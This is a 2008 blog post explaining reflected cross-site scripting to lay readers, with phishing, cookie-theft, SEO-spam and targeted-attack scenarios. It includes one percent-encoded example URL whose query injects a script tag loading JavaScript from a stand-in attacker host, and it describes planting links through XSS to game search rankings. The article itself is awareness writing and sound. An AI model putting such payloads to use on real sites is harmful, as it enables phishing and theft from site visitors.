Senin, 22 September 2008

XSS vulnerabilities. >>>> :)

Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. (updated with screen shots)

Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end of this article you'll have a much better understanding of XSS and why its something deserving of your attention.

Originally I had a hard time getting my arms around the whole XSS issue. Though the problem has been around for at least 10 years I, like many security people, didn't pay real close attention until recently. At first I didn't exactly understand the problem. Even after I saw some examples I didn't immediately see where this could cause much harm. Most of the examples simply popped up an alert box. Big deal. But I knew there was more to it because some people I really trust (or at least think are smart) were very worried. According to new figures from Mitre, a U.S. government-funded research organization XSS is now the #1 application vulnerability being reported. It has surpassed buffer overflows, SQL injections, directory traversals, even Denial of Service vulnerabilities. XSS now accounts for 21.5% of all reported vulnerabilities, rising from just 2% in 2001. This trend is certain to continue as more people become aware of the problem and locate vulnerable applications.

So it was time to develop a better understanding of this problem.

Let me tell you, XSS is very dangerous. If you've heard otherwise don't believe it. Unless you think this is some obscure vulnerability that may not affect you let me assure you this vulnerability is very widespread. People I've spoke with have told me that it takes them about 5-10 minutes to find a new vulnerable site. There are groups out there simply trying to see how many they can find and who can find a vulnerability on the most important websites (so far FBI.GOV and NSA.GOV probably top that list!). They have found (and documented) several banks, law firms, charities, insurance companies, dozens of government agencies, etc., with XSS vulnerabilities. They even found a XSS vulnerability on Acunetix's public website. Acunetix makes a security appliance that is designed to find just such web server vulnerabilities (Acunetix fixed the problem quickly but this serves as an example that any web site can have a XSS vulnerability). Probably hundreds of sites have been found so far and the search is really just beginning.

Unlike most vulnerability testing XSS searching does not modify anything on the remote server and does no harm to the server or the server's data. But as not to encourage phishing attacks based off these finding we will not be posting the actual example links or the full vulnerability address. However, we are aware that there are several sites out there that are posting them. Normally the example links posted on these sites are harmless (and therefore should not get anyone in trouble) but that is no guarantee that you won't stumble across some that are harmful. If you don't know what you're doing don't go to these sites or click on untrusted links. We will, on the other hand, be posting the names of those organizations so that they are pressured to fix the problem. Remember this vulnerability doesn't hurt their server, it hurts everyone else. We suspect the people finding these vulnerabilities are not reporting them to the organization that runs the server. There is still a lot of fear out there that someone will try to charge them with hacking. There is a good chance the vulnerability finders would would prevail in court but nobody wants to go through that, let someone else establish the precedence. But that means the web server administrators might be the last to know that their server is vulnerable and possibly be used for phishing attacks. If you operate web server you should pay attention to the “XSS Hall of Shame” here at NIST.org and the various vulnerability discovery sites that prove a server is vulnerable by including example links. Your company or organization may even be sued if someone falls victim to a XSS enabled phishing attack through your web server. Remember it is your server that allowed this to happen and the URL at the top indicates it is your server hosting the credit card entry form. You are probably especially liable if the problem is public knowledge and you've done nothing about it.

Though the vulnerability is on the server the threat is to the general public, the visitors to that server. Normally servers get exploited and the bad guys either deface the site or use it to load them up with exploit code that can do you harm. Either way web admins have something to work with. In this case nothing bad ever happens to the web server, nothing gets modified on the server, server security hasn't even been breached. It was never actually hacked. Let me explain.

To simplify things we'll use a phishing attack as an example. When the bad guy wants your credit card information one of the most common attacks starts with an email message. They send you an email message with links to some server they control. Both the email message and rogue server are made to look very much like a bank or other financial institute. But usually there are signs that something is wrong. The links in the email message point to an IP address or some domain other than the banks, or your web browser shows the odd address after you click on the link. Instead of the normal 'http://www.normalbank.com' you see something like 'http://192.168.243.205' or 'http://normalbank.c8a45.ru'. Clear signs that something isn't right.

But with XSS the links look fine. Even the address in your browser looks fine. There is nothing apparently wrong. But the key word is 'apparently'. Because with XSS the good server is acting much like a money laundering operation, taking the bad address, cleaning it up so it looks legitimate, and sending it to your browser. All without any changes or exploits to the good server. The fault is with some bit of code that was designed to accept user input. Often times a search form on the good server is what is used in a XSS exploit (remember it is you that is being exploited, not the server). The programmers simply didn't take the time time to filter the user input of Javascript or HTML code and they allowed the original form input to be fed back to the person that entered it without modification. The form input doesn't have to be you entering the text in a block it can often be coded right in to a URL, obfuscated so you don't even know its there. Finding these vulnerabilities isn't even thought to be hacking. Again nothing is compromised on the server, it is doing exactly as it was designed to do. It was just designed poorly. Programmers search for code syntax on the Internet all the time, who would have thought that simply searching for it could cause it to activate back on their own computer. That's just dumb. But other input forms are vulnerable as well, not just search forms.

So here is how it works in a XSS attack. The bad guy sends you one of those well crafted email messages made to look like it came from your bank (again we'll use 'Normal Bank' with a domain of 'normalbank.com'). The email you receive comes from survey@normalbank.com and looks just like the one's your bank normally sends you, with privacy notices, copyrights, etc. It claims you will get $50 deposited to your account simply by taking an on-line survey. The links on the page all point to your bank's domain and look perfectly legitimate, something like:
http://www.normalbank.com/survey.php?q=%3C%73%63%72 %69%70%74%20%73%72%63 %3D%2F%2F%62%61%64%67%75%79% 73%69%6E%63%2E%6E%65%74%2F%62%61 %64%73%63%72%69%70 %74%2E%6A%73%3E

We've all seen gobbly gook as part of normal looking URL's and that in and of its self is not a clue that something is wrong. The larger the company the more likely the URL's will contain gobbly gook because it is often used to request documents or information from databases. So you click the link and you are brought to a page that looks exactly like one from www.normalbank.com prompting you to login to take the survey and claim your $50. The URL in your browser's address bar looks perfectly legitimate and matches the URL above. You login, take the survey, and you get a big thank you notice saying that the $50 will be deposited to your account in 3-5 days. YIPPIE!

So what's going on here? Well first of all you're not going to have $50 deposited to your account (dang it!). In fact the next time you check your account you'll probably find it contains a lot less money than it should. Embedded in the URL gobbly gook above is a bit of Javascript that is fed to a survey form entry page on www.normalbank.com. The form handler doesn't know what to do with this code so it simply reflects it back to your browser (as odd as that may seem). From your browser's point of view this Javascript apparently is coming from www.normalbank.com because it was just reflected from there. But this small bit of Javascript just loaded a complete page from the bad guys server and you just sent your banking information to their server. All without any indication that something was wrong.

The same method of Javascript reflection can be used by the bad guys to steal cookies stored on your computer. Cookies are small text files that a web server stores on your computer to save 'state' (where you're at or what you are doing) or information that your browser can use from visit to visit to save you time and effort. For example when you order something from a site they may store a cookie on your computer with your mailing addresses so the next time you order something you don't have to reenter that information. They may also store your credit card information that way. Normally only the site that dropped the cookie can retrieve it. But if the site has a XSS vulnerability the bad guy can send you a URL to retrieve that cookie. The URL first hits the legitimate site (again www.normalbankcom) but contains code to load Javascript from a server they control (www.badguys5486.ru). This Javascript contains code to retrieve the www.normalbank.com cookie from your computer and send it to them. Remember the URL looks like its coming from the good server so your browser dutifully retrieves the cookie as instructed.

So how do you avoid being exploited? Since you would have a very difficult time deciphering the URL (ok kids break out your secret decoder rings to see what you've won) all you can really do is never click on links sent to you via email. You've heard this before but most of you continue to ignore that advice. There are bad people all over the world that are much smarter at this than I am and they can send out millions of phishing spam messages. Occasionally there are bad people at good companies that will sell a company's client email list. You are vulnerable and XSS is far too easy to exploit.

The fix isn't an easy one. Unlike most vulnerabilities this isn't something that can be patched by Microsoft. The cause of the problem isn't the operating system or the web browser. Usually the problem is with custom programming code written by experienced and inexperienced programmers alike. All of these separate vulnerable programs will have to be fixed. In some cases a companies search engine appliance will have to be totally replaced if it is no longer supported by the manufacturer. So this problem won't go away quickly. But companies need to act because their servers are making us more vulnerable.

At the beginning of this article I mentioned that this vulnerability can have a negative affect on public search engine results. XSS has the potential to undermine how search engines rank pages, thus listing garbage sites above valuable one's. How? This is another thing that I didn't immediately understand. How can weirdly crafted URL's trick the likes of Google and Yahoo? Most public search engines rank sites higher if they have a lot of inbound links (links from other sites). Many also rank the quality of those inbound links so a link on a page at Time.com is worth a lot more than a link on some kids free MySpace page. With XSS it is possible to create links that appear to be on a vulnerable site's page. We've seen examples of this where text and links seem to be magically added to web pages. Javascript is widely used to create content on pages (this site uses it in some of the sidebar panels) so the search engines have to understand it. Search Engine Optimization (SEO) is big business, companies pay thousands of dollars to get their sites ranked higher. When you feed Google a XSS URL (like the example above) it thinks all the Javascript content from derived from that URL was meant to be delivered from that page. But with XSS you can use foreign XSS to apparently create links on a good server's site that aren't actually there (remember nothing has actually been changed on the server). So a quick way to boost SCO is to find as many XSS vulnerable sites and through the magic of Javascript create links to your site. Yahoo, MSN, Google, etc. will see all of those links from well respected sites and rank your site higher. Now before you run off and do this let me tell you that these public search engine companies are not stupid. They are very aware of this problem and are actively working on fixes. When they find you doing this you will be blacklisted (eg; you may never show up in search results again). They aren't discussing the situation but it is believed that they can currently detect some XSS URL's but not others. If you search for 'XSS SEO' you'll find lots of discussion on blackhat SEO sites, hacker sites, and a few whitehat security sites. But lets hope the search engines get a handle on this soon or they'll be one more thing on the Internet that we've lost faith in.

Targeted attack scenarios:

* You get an email message that appears to be from your stock broker suggesting that you buy stock in Acme War Materials immediately. They claim to have inside information that this company is about to win a huge military contract and the stock will double overnight. There is a link in the email to your brokers site for more information. The page even includes a very nice looking PDF file from an Army contracting office that is awarding the contract to them. The informed and suspicious among us would know they wouldn't be allowed to do this. But a certain percentage of people would jump at the chance to double their money. The bad guy will probably win two ways here. The first way is that they'll include a login on their bogus page and will capture your brokerage account info. The second way they'll make money is they'll take out options on that stock ahead of time to sell at a set price. When this stock goes up in value they make money. Our spam honeypot already captures dozens of spam messages per day promoting junk stocks.
* You get an email message from a U.S. Government agency that works in disaster relief. The message says that though they are currently helping hundreds of displaced children the money allocated by Congress is not nearly enough. The eMail message points to a web page on the goodserver.gov website with pictures of hungry children and a form for you to donate money with your credit card. All addresses and links appear to be from the goodserver.gov website. Again, a lot of people would know that the government wouldn't solicit donations this way. But many people would fall for it. What if the email and web address came from a legitimate save-the-starvingkids.org web address would that make people less suspicious? Timed to occur soon after a disaster the response rate to such an email would be very high. We've had reports of several such vulnerable government sites and charity sites that could be used this way.
* You get an email from your state's tax office with your full name and street address in the message saying that you have been audited. The link on the page takes you to http://www.state.yy.us (the 'yy' being your states abbreviation and is legitimate). It asks you to login with your name (with the block already filled in for you. How convenient), and the password is your social security number. The page that comes up says that you owe the state a grand total of $23.46 and offers you a chance to avoid a face to face audit by paying up now. You can either mail a check to their legitimate street address or use the oh so convenient credit card form on the page. For less than $25 most people would be glad to avoid a face to face audit and most people would take advantage of the credit card payment method. Now they own your social security number and your credit card number. Your name, address and email address they got from a bad employee at a store you do business with. This is called a targeted attack and is very effective. Yes, we know of several state web sites with XSS vulnerabilities.

Tidak ada komentar: